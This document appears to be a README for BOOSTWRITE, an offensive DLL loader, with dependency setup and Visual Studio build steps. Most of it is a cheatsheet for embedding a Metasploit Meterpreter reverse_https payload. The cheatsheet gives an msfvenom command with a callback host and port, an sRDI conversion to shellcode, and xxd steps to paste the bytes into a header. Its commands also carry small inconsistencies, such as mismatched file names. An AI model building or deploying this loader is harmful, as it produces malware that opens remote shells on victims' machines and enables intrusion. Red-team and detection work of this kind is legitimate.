#
BOOSTWRITE src
In
#
Boostwrite - Getting Dependencies
- Note, you must have libcurl and zlib locally as a dependency to compile boostwrite.
- Recommend using vcpkg, steps listed below.
Get latest vcpkg zip file from https://github.com/microsoft/vcpkg/releases (package available here and extract it to a folder of your choice (e.g. C:\vcpkg)
Open Developer Command Prompt for VS 2017 (see Windows Start menu or %PROGRAMDATA%\Microsoft\Windows\StartMenu\Programs\Visual Studio 2017\Visual Studio Tools) and cd to C:\vcpkg\
Run bootstrap-vcpkg.bat
Run vcpkg.exe integrate install
Run vcpkg.exe install curl
#
Build Instructions - Visual Studio
- Create new visual studio DLL C++ project.
- Substitute template dllmain.cpp for dllmain.cpp in this project.
- Add the header files into the project.
- Update msfpayload.h with your payload.
#
MSFPayload Build Cheatsheet for BOOSTWRITE
- Generate MSF payload
msfvenom - p windows/x64/meterpreter/reverse_https LHOST=192.168.0.4 LPORT=443 -f dll -o msf.dll
- Leverage SRDI to create PIC code.
from ShellcodeRDI import *
dll = open("TestDLL_x86.dll", 'rb').read()
shellcode = ConvertToShellcode(dll)
print(shellcode)
# optional, write to a new DLL and use xxd to create C array
- Create C array of sRDI DLL or just copy the bytes produced by the previous example
xxd -i msf.exe
Copy and paste in msfpayload.h
Update variable names as appropriate.